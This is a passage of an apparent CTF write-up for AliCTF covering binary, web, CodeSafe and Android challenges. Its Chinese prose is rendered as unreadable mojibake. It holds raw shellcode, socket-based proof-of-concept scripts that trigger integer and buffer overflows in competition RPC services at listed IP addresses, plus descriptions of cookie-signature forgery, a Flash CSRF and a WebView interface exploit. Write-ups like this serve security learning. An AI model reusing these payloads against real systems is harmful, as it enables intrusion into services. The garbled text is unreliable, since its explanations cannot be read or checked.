shellcode += "\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
shellcode += "\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
shellcode += "\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
shellcode += "\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
send_data += shellcode
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
print s.recv(1024)
#code excute
offset = '\x0c\x00\x00\x00'
data_type = struct.pack('I', 0x5555)
malloc_size = struct.pack('I', 0x400 + 0xc + 4)
send_data = offset + data_type
send_data += '\x90'*(0x500 - len(send_data))
s.send(send_data)
print s.recv(1024)</code></pre>
<hr>
<h4 id="toc_16">0x04 WebB</h4>
<h5 id="toc_17">WEBB-100</h5>
<blockquote>
<p>ç»å½è¿æ¥ä»¥å<br />http://web100b.alictf.com/3ef067863a6db0a7fc218aceaee9366b.php</p>
</blockquote>
<p>ç»éä¹åæå
,å¯ä»¥çå°hi xbb(çå®å®?),ç¶åCookieæusername,isadmin,ä¿®æ¹é½ä¼åºé(æ¢ä¸æ¢æç
§ç¨åºæ¥),Sign=df00ea56c4d2e709dbacf0eddf00ea56469b9e30</p>
<p>ç»åä¿®æ¹,Signææä¸ç®40ä½,ä»ç»ä¸ç¯æéå¤,廿å8ä½è§£ç MD5为xbb0</p>
<p>ç¶åæé admin1å³å¯</p>
<p><img src="/img/alictf-webb-100-01.png" alt="img"></p>
<hr>
<h5 id="toc_18">WEBB-200</h5>
<blockquote>
<p>Casperåäºä¸ä¸ªå®å
¨çè·å页é¢ååºçæ¥å£ç»å¤§å®¶ç¨ï¼ä»ççå®å
¨åï¼<br />http://web200b.alictf.com/5b03e4d1a8cefc5121e1c1c0dd9b1cdc.php </p>
</blockquote>
<p>é»çèæ´,è¯äºå¾ä¹
没æç¸åºæä»¥ç¶,以为æ¯curl -içåç§è§£æ³,åç§æ¥èµæå¾å°è¿ä¸ª</p>
<p><a href="http://drops.wooyun.org/tips/750">http://drops.wooyun.org/tips/750</a></p>
<p>taobao.com@xxx,ç»äºæååºäº..</p>
<p><img src="/img/alictf-webb-200-01.png" alt="img"></p>
<hr>
<h5 id="toc_19">WEBB-300</h5>
<blockquote>
<p>ç½å¸½åçç§å¯<br /> http://web300b.alictf.com/b5688aa7c3f8387400a3449077f9bd65.php </p>
</blockquote>
<p>å¼å§æè§é¢ç®å¥½ç®å :) ææå°äºå¥½å¹¸ç¦</p>
<p><img src="/img/alictf-webb-300-01.png" alt="img"></p>
<p>äºæ¯ä¸æä¸ç¬å¤åæ¶å°äºè¿ä¸ª</p>
<p><img src="/img/alictf-webb-300-02.png" alt="img"></p>
<p>ç¬é´åä¹±äºå,å¼å§æé¢ç®,å
æ¯Flash,crossdomain.xml为*,è¯äºCSRFçPOC</p>
<p><img src="/img/alictf-webb-300-03.png" alt="img"></p>
<p>è¿æ¯èµå访é®502,æ£å¸¸å¯ä»¥è¯»å°flag.php,å»å»ä»¥ä¸ºè¿æ ·å°±å¯ä»¥æ¿å°Keyäº,æäº¤è¿URL...æ¥çæ¥å¿æ ¹æ¬æ²¡è¯·æ±...å¿ç¢..</p>
<p>æ¥çæ¯åæwhitehatå¾ç,binwalkåç°è¿èäºä¸ªrar,çäºåå¤©èæ´åæ¥å¯ç æ¯æ¯èµç½å,å
容</p>
<pre><code>e.g.: *.php?img=exp</code></pre>
<p>é¢ç®æ¯åxss䏿 ·,æäº¤é¢ç®é¡µé¢å imgåæ°...</p>
<p>è¿ä¸ªå¨åæd4.swfæä»¶æ¶æçå°:</p>
<pre><code>public dynamic class MainTimeline extends MovieClip {
public var img:String;
public var req:URLRequest;
public var loader:Loader;
public function MainTimeline(){
addFrameScript(0, this.frame1);
}
public function completed(_arg1:Event):void{
this.addChild(this.loader);
}
function frame1(){
try {
ExternalInterface.call("eval", "location.href='http://www.alictf.com/';");
} catch(errObject:Error) {
img = loaderInfo.parameters["img"];
req = new URLRequest(img);
loader = new Loader();
loader.load(req);
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, completed);
};
}
}</code></pre>
<p>彿¶æè§imgå³ä½¿loadè¿æ¥ä¹x䏿,å¿
é¡»èªå·±æå®ä¸ä¸ªswfæè¡,åèæ³æ¯imgç´æ¥Reflect-Xå°Firefox...被Chrome Protect,æè·¯è¿æ¯ä¸å¯¹.</p>
<p>æååç°å±
ç¶æä¸ä¼ ,坿èªå·±æ²¡æ«ç®å½ç...å¯ä»¥ä¸ä¼ flashå¾çæä»¶,ç¶åå¨imgå¤è°ç¨flashæä»¶æ§è¡ä»£ç 读flagæä»¶,è¿è¡CSRF.</p>
<hr>
<h5 id="toc_20">WEBB-400</h5>
<blockquote>
<p>ä¸ä¸²å¥æªçæ°åï¼ä½ è½å¸®å¿æå¼è°åºåï¼ <br />http://web400b.alictf.com/e708f572003bfc59728030f46fb71372.php </p>
</blockquote>
<p>æå¼æ¯ä¸ªæ°å:2032687698</p>
<p>æå¿ä½æ²¡å è¿ä¸ªQQå·æ¾ä»é®flag...</p>
<p>ææ®å å°urlåç´æ¥è¯·æ±ä¸è½½å°æä»¶,æ¯ä¸ªç®¡ç忥å¿,å¤§è´æ¯é
ç½®lnmp以ååç§å·¥å
·ç¯å¢,æåæäºç®å½ä¿¡æ¯,æ¯å¦web400aæå
³çnidongde...æå没æ¶é´ä¹æ²¡å»å.</p>
<hr>
<h5 id="toc_21">WEBB-500</h5>
<blockquote>
<p>好åç饼干........ Casperåäºä¸ååä¸å........ <br />hintï¼ä¸å®è¦ç»æä¹ï¼ç»è¿è¯è¯ï¼å«å¿äºçURLå¦ã<br />http://web500b.alictf.com/26b8f91a01158be64de4cd299cf16f53.php </p>
</blockquote>
<p>åæ¯èæ´é¢ç®...curl -iä¹ååç°æ ¹æ¬ä¸éè¦æäº¤cookie,</p>
<p>http://web500b.alictf.com/ee11cbb19052e40b07aac0ca060c23ee.php</p>
<p>说æ¯å¯ä»¥æ§è¡å½ä»¤ç...坿¯ä¸ç´æ²¡è¿å...读äºä¸<br />http://web500b.alictf.com/js/user.js<br />æ³ä¸åºæä»¥ç¶,就忽ç¥äº...</p>
<hr>
<h4 id="toc_22">0x05 CodeSafe</h4>
<h5 id="toc_23">CodeSafe-100</h5>
<blockquote>
<p>å¨åå为 codesafe100.alictf.com ç32ä½ä¸»æºç 30000 端å£ä¸å¼æ¾äºä¸ä¸ªæå¡ã<br />å
¶æºä»£ç æä»¶ä¸º rpc_libevent_server.cppã<br />å¨è¿ä¸ªæå¡ç¨åºä¸åå¨1个å®å
¨æ¼æ´ã请éè¿é
读æºä»£ç æ¥æ¾å°æ¼æ´ï¼å¹¶å该æå¡å¨åé请æ±å°è¯è§¦åã<br />妿åéç请æ±è½å¤è§¦åæ¼æ´ï¼å¨æå¡å¨çååºæ°æ®ä¸ä¼ç»åºä¸ä¸ª32ä½çMD5å¼ä½ä¸ºflagï¼ç¤ºä¾å¦ä¸ï¼<br />Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0<br />注æï¼è¯·æ±ä¸çtokenåæ®µä¸ºæ¯ä½éæç认è¯åå¸å¼ï¼è¯¦è§è´¦å·æ³¨åé®ä»¶ä¸åé
çuser_tokenï¼ã<br />æ¯ä¸ªåæ³çtokenä»
æ 5 次æäº¤è¯·æ±çæºä¼ï¼è¶
è¿ä¹åï¼è¯¥tokenç请æ±ä¼è¢«ä¸¢å¼ã</p>
</blockquote>
<p>æ ¹æ®socket_read_callback彿°ç¥SafeCodeç³»åå议为:<br />Token_len(1åè) + Token + funcid(1åè) + data_len(4åè) + data<br />SafeCode100ææ¼æ´ç彿°ä¸ºrpc_function_1:</p>
<p><img src="/img/alictf-codesafe-100-01.png" alt="img"></p>
<p>mtl为unsigned shortç±»åï¼ètemp.tlåtlæå¤§è¡¨ç¤ºå¼ä¸º511å199</p>
<p><img src="/img/alictf-codesafe-100-02.png" alt="img"></p>
<p>è511*199 = 101689 = 0x18D39<br />è¶
åºäºunsigned shortè½è¡¨ç¤ºçæå¤§å¼.æä»¥å½temp.tlåtlè¶³å¤å¤§æ¶,ä¼åçæ´æ°æº¢åº.</p>
<p>POC:</p>
<pre><code>#coding:utf-8
from socket import *
import struct
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('223.6.253.103', 30000))
token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'
f_id = '\x02'
data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'
url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)
data += struct.pack('I', len_url)
data += url
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)</code></pre>
<hr>
<h5 id="toc_24">CodeSafe-200</h5>
<blockquote>
<p>å¨åå为 codesafe200.alictf.com ç32ä½ä¸»æºç 30000 端å£ä¸å¼æ¾äºä¸ä¸ªæå¡ã<br /> å
¶æºä»£ç æä»¶ä¸º rpc_libevent_server.cppã<br /> å¨è¿ä¸ªæå¡ç¨åºä¸åå¨1个å®å
¨æ¼æ´ã请éè¿é
读æºä»£ç æ¥æ¾å°æ¼æ´ï¼å¹¶å该æå¡å¨åé请æ±å°è¯è§¦åã<br /> 妿åéç请æ±è½å¤è§¦åæ¼æ´ï¼å¨æå¡å¨çååºæ°æ®ä¸ä¼ç»åºä¸ä¸ª32ä½çMD5å¼ä½ä¸ºflagï¼ç¤ºä¾å¦ä¸ï¼<br /> Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0<br /> 注æï¼è¯·æ±ä¸çtokenåæ®µä¸ºæ¯ä½éæç认è¯åå¸å¼ï¼è¯¦è§è´¦å·æ³¨åé®ä»¶ä¸åé
çuser_tokenï¼ã<br /> æ¯ä¸ªåæ³çtokenä»
æ 4 次æäº¤è¯·æ±çæºä¼ï¼è¶
è¿ä¹åï¼è¯¥tokenç请æ±ä¼è¢«ä¸¢å¼ã<br /> é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>æ¼æ´æå¨å½æ°ä¸ºrpc_function_2</p>
<p><img src="/img/alictf-codesafe-200-01.png" alt="img"></p>
<p>buffer空é´ä¸º512åèï¼ä¼ å
¥çdataæ°æ®æå¤§é¿åº¦ä¸º511åè</p>
<p><img src="/img/alictf-codesafe-200-02.png" alt="img"></p>
<p>彿°è¦æ±çè¾å
¥æ ¼å¼ä¸ºtag = value使¯å½æ°æåç¨sprintfæline(data)åtagåvalue齿å°å°åªæ512åèçbufferä¸,å¦æç¬¦åè¾å
¥æ ¼å¼è¦æ±ä¸å©ä½åèç¨ç©ºæ ¼å¡«å
ä¼ç
§ææº¢åº.</p>
<p>POC:</p>
<pre><code>#coding:utf-8
from socket import *
import struct
s = socket(AF_INET, SOCK_STREAM)
s.connect(('42.120.63.194', 30000))
token = 'bab1e617f537b121033058a5795e37e0'
len_token = '\x20'
f_id = '\x02'
data = ' ' + 'a'*60 + '=' + '1834567890123456'
data += ' '* (510 - len(data))
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)</code></pre>
<hr>
<h5 id="toc_25">CodeSafe-300</h5>
<blockquote>
<p>å¨åå为 codesafe300.alictf.com ç32ä½ä¸»æºç 30000 端å£ä¸å¼æ¾äºä¸ä¸ªæå¡ã<br />å
¶æºä»£ç æä»¶ä¸º rpc_libevent_server.cppã<br />å¨è¿ä¸ªæå¡ç¨åºä¸åå¨1个 ç¼å²åºæº¢åº æ¼æ´ã请éè¿é
读æºä»£ç æ¥æ¾å°æ¼æ´ï¼å¹¶å该æå¡å¨åé请æ±å°è¯è§¦åã<br />妿åéç请æ±è½å¤è§¦åæ¼æ´ï¼å¨æå¡å¨çååºæ°æ®ä¸ä¼ç»åºä¸ä¸ª32ä½çMD5å¼ä½ä¸ºflagï¼ç¤ºä¾å¦ä¸ï¼<br />Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0<br />注æï¼è¯·æ±ä¸çtokenåæ®µä¸ºæ¯ä½éæç认è¯åå¸å¼ï¼è¯¦è§è´¦å·æ³¨åé®ä»¶ä¸åé
çuser_tokenï¼ã<br />æ¯ä¸ªåæ³çtokenä»
æ 3 次æäº¤è¯·æ±çæºä¼ï¼è¶
è¿ä¹åï¼è¯¥tokenç请æ±ä¼è¢«ä¸¢å¼ã</p>
</blockquote>
<p>æ¼æ´åºç°å¨å½æ°rpc_fuction_2ä¸</p>
<p><img src="/img/alictf-codesafe-300-01.png" alt="img"></p>
<p>p为请æ±URLçç»å¯¹è·¯å¾</p>
<p>råé
被äº256åè空é´</p>
<p>URLç大å°ä¹ä¸º256</p>
<p><img src="/img/alictf-codesafe-300-02.png" alt="img"></p>
<p>ä¸ä¸ªç¬¦å彿°è¦æ±æ ¼å¼çURLå¦:</p>
<p>http:// alibaba.com/xxxx</p>
<p>å
¶ä¸"http:// alibaba.com/"为20个åè,è/temporary folder/2014-08/æ26个åè.æä»¥å¦ææä¾ä¸ä¸ª256åèçURL,ç»å¯¹è·¯å¾æ236åè,被sprintfæå°åæ262åè,å°±ç
§æäºæº¢åº.</p>
<p>POC:</p>
<pre><code>#coding:utf-8
from socket import *
import struct
import time
s = socket(AF_INET, SOCK_STREAM)
s.connect(('223.6.253.103', 30000))
#token = 'bab1e617f537b121033058a5795e37e0'
token = 'afc0f1402e0439fb57e87b45ab456b37'
len_token = '\x20'
f_id = '\x02'
data = '\x48\x48\x00\x00'
#data += '\xcc'*4
data += struct.pack('I', time.time())
data += '\x02\x00\x00\x00'
data += 'sdatsts-afu\x00\x00\x00\x00\x00'
url = 'http://alibaba.com/'
url += 'a'*(256-len(url))
len_url = len(url)
data += struct.pack('I', len_url)
data += url
len_data = len(data)
send_data = len_token + token + f_id + struct.pack('>I', len_data) + data
print send_data
s.send(send_data)
print s.recv(1024)</code></pre>
<hr>
<h5 id="toc_26">CodeSafe-400</h5>
<blockquote>
<p>å¨åå为 codesafe400.alictf.com ç32ä½ä¸»æºç 30000 端å£ä¸å¼æ¾äºä¸ä¸ªæå¡ã<br /> å
¶æºä»£ç æä»¶ä¸º rpc_libevent_server.cppã<br /> å¨è¿ä¸ªæå¡ç¨åºä¸åå¨1个å®å
¨æ¼æ´ã请éè¿é
读æºä»£ç æ¥æ¾å°æ¼æ´ï¼å¹¶å该æå¡å¨åé请æ±å°è¯è§¦åã<br /> 妿åéç请æ±è½å¤è§¦åæ¼æ´ï¼å¨æå¡å¨çååºæ°æ®ä¸ä¼ç»åºä¸ä¸ª32ä½çMD5å¼ä½ä¸ºflagï¼ç¤ºä¾å¦ä¸ï¼<br /> Flag: DC80A72CBBB71C1F6CB98E3C2935B2C0<br /> 注æï¼è¯·æ±ä¸çtokenåæ®µä¸ºæ¯ä½éæç认è¯åå¸å¼ï¼è¯¦è§è´¦å·æ³¨åé®ä»¶ä¸åé
çuser_tokenï¼ã<br /> æ¯ä¸ªåæ³çtokenä»
æ 2 次æäº¤è¯·æ±çæºä¼ï¼è¶
è¿ä¹åï¼è¯¥tokenç请æ±ä¼è¢«ä¸¢å¼ã</p>
</blockquote>
<p>è¿ä¸ªä¸å¾ä¸åæ§½ä¸,缩è¿ç®ç´å¤ªç¾</p>
<p>åªè¦ç¨åºæ§è¡å°system彿°å°±ä¼è¿åkey</p>
<p><img src="/img/alictf-codesafe-400-01.png" alt="img"></p>
<p>使¯è¿ä¸ªå°æ¹åäºæå¥½é¿æ¶é´...ä¸ç´ä»¥æ²¡çåºæ¥=0=</p>
<p><img src="/img/alictf-codesafe-400-02.png" alt="img"></p>
<p>çåºæ¥ä¹å就好åäº</p>
<p><img src="/img/alictf-codesafe-400-03.png" alt="img"></p>
<p>Guestå¯ç 夿ååè°ç¨äºä¸æ¬¡function1彿°,ç¨æ¥é¤æç©ºæ ¼.èszUseråtemp.userçå63个åèå¤å¶æ¥.</p>
<p><img src="/img/alictf-codesafe-400-04.png" alt="img"></p>
<p>æä»¥åªéè¦admin+64*'\x20'+aè¿æ ·çå符串å³å¯é¥¶è¿</p>
<p>POC:</p>
<pre><code>#include<stdio.h>
#include<string.h>
#include<ctype.h>
#include<malloc.h>
#include<time.h>
void function3(char m[],char k[],char r[])
{
int i,j,s=0;
j=strlen(k);
for(i=0;m[i];i++)
m[i]=tolower(m[i]);
for(i=0;m[i];i++)
if(isalpha(m[i]))
{
r[i]=(m[i]-'a'+k[s%j]-'a')%26+'a';
s++;
}
else
r[i]=m[i];
r[i]=0;
for(i=0;r[i];i++)
r[i]=toupper(r[i]);
}
int main()
{
char pass[64] = {0}, value[64];
memcpy(pass, "aiwtnbx", 7);
function3(pass, "admin", value);
printf("%s", value);
if(strcmp(value,"ALIBABA") == 0)
printf("%s", "True");
else
printf("%s", "false");
return 0;
}</code></pre>
<hr>
<h4 id="toc_27">0x06 EvalAPK</h4>
<h5 id="toc_28">EvilAPK-100</h5>
<blockquote>
<p>APK卿§è¡è¿ç¨ä¸ä½¿ç¨äºä¸ä¸ªæä»¶ä½ä¸ºè¾å
¥ï¼è¯·é®è¯¥æä»¶çåç§°æ¯ä»ä¹ï¼ï¼ä¸éè¦è·¯å¾ï¼<br />é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>FirstBlood.ä¸äººä¸çæAPK,乿²¡æç¸åºçåæç¯å¢,æ¬è¦åWeb100,çäºå天(æ¯èµåæå°åæ³æ¼äº)æ²¡è§£å³æ,çå°APK100æäº¤ç徿¬¢ä¹,å°±åäº,没æ³å°Stringä¸ä¸åºæ¥äº.</p>
<p><img src="/img/alictf-apk-100-01.png" alt="img"></p>
<p>æäº¤inputfileè§£å³</p>
<hr>
<h5 id="toc_29">EvilAPK-200</h5>
<blockquote>
<p>请åæstatic_analysis.apkå®è£
å
ã<br />åæåºå¨éæä»£ç 䏿å¤å°ä¸ªå°æ¹è°ç¨äºsendSMSæ¹æ³ï¼ä¸å
æ¬è¯¥æ¹æ³æ¬èº«ä¸flag为æ°åï¼<br />é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>ç¨apktool d xx.apkåç¼è¯å,æ¥findå½ä»¤</p>
<p><img src="/img/alictf-apk-200-01.png" alt="img"></p>
<p>å¦ä¸å¾æ¯å¨Kaliä¸History...</p>
<hr>
<h5 id="toc_30">EvilAPK-300</h5>
<blockquote>
<p>è¯¥ç ´è§£ç¨åºjscrack主çé¢å
å«ä¸¤ä¸ªæ§ä»¶ï¼<br /> 1ï¼URLè¾å
¥æ¡<br /> 2ï¼è¿å
¥âæé®â<br /> è¦æ±èªå·±æé ä¸ä¸ªç½é¡µï¼å¹¶æç½é¡µå¯¹åºçURLè¾å
¥å°URLè¾å
¥æ¡æ§ä»¶ï¼ç¶åï¼ç¹å»âè¿å
¥âæé®ï¼jscrack伿å¼webviewæµè§ä½ çç½é¡µï¼å¦æjscrackè½å¼¹åºä¸ä¸ªToastï¼å°±è¯æå·²ç»æåç ´è§£ï¼åæ¶Toastæ¾ç¤ºçå
容就æ¯è¿ä¸ªé¢ç®çflagã<br /> é¢ç®ä¸è½½å°åï¼ç¹å»ä¸è½½</p>
</blockquote>
<p>ç颿ä¸WEBViewæ¼æ´æå
³,å°±å»æç´¢ç¸å
³èµæ</p>
<p>å¾å°ä¸ä¸ªæµè¯æ¥å£çPOC</p>
<p><a href="http://drops.wooyun.org/webview.html">http://drops.wooyun.org/webview.html</a></p>
<p><img src="/img/alictf-apk-300-01.png" alt="img"></p>
<p>æäºåå¨é®é¢çæ¥å£SmokeyBear,就继ç»ç§æ®ä»ä¹æ¯Toast,æä¹è¾åºtoast以忥壿ä¹å©ç¨,模仿wooyunçæ£æµé¡µé¢,æåè¯äºç¨æ¥å£.showToast()ççåºæ¥äº...åèå¦ä¸æç« :</p>
<p><img src="/img/alictf-apk-300-02.png" alt="img"></p>
<p>æ¾å°server䏿µè¯å¦ä¸é¡µé¢</p>
<p><img src="/img/alictf-apk-300-03.png" alt="img"></p>
<p>ç¨jscrack访é®,å¾å°flag</p>
<p>å
¶ä»APKé¢ç®é伿²¡äººçæ.ä¸å¾ä¸æ¾å¼...æè°¢APKåºé¢è
åé¢ä¸å
³é½ä¸é¾...</p>
<h4 id="toc_31">0x07 AfterAll</h4>
<p>Thx AliCTF.</p>
<p>::L Team::</p>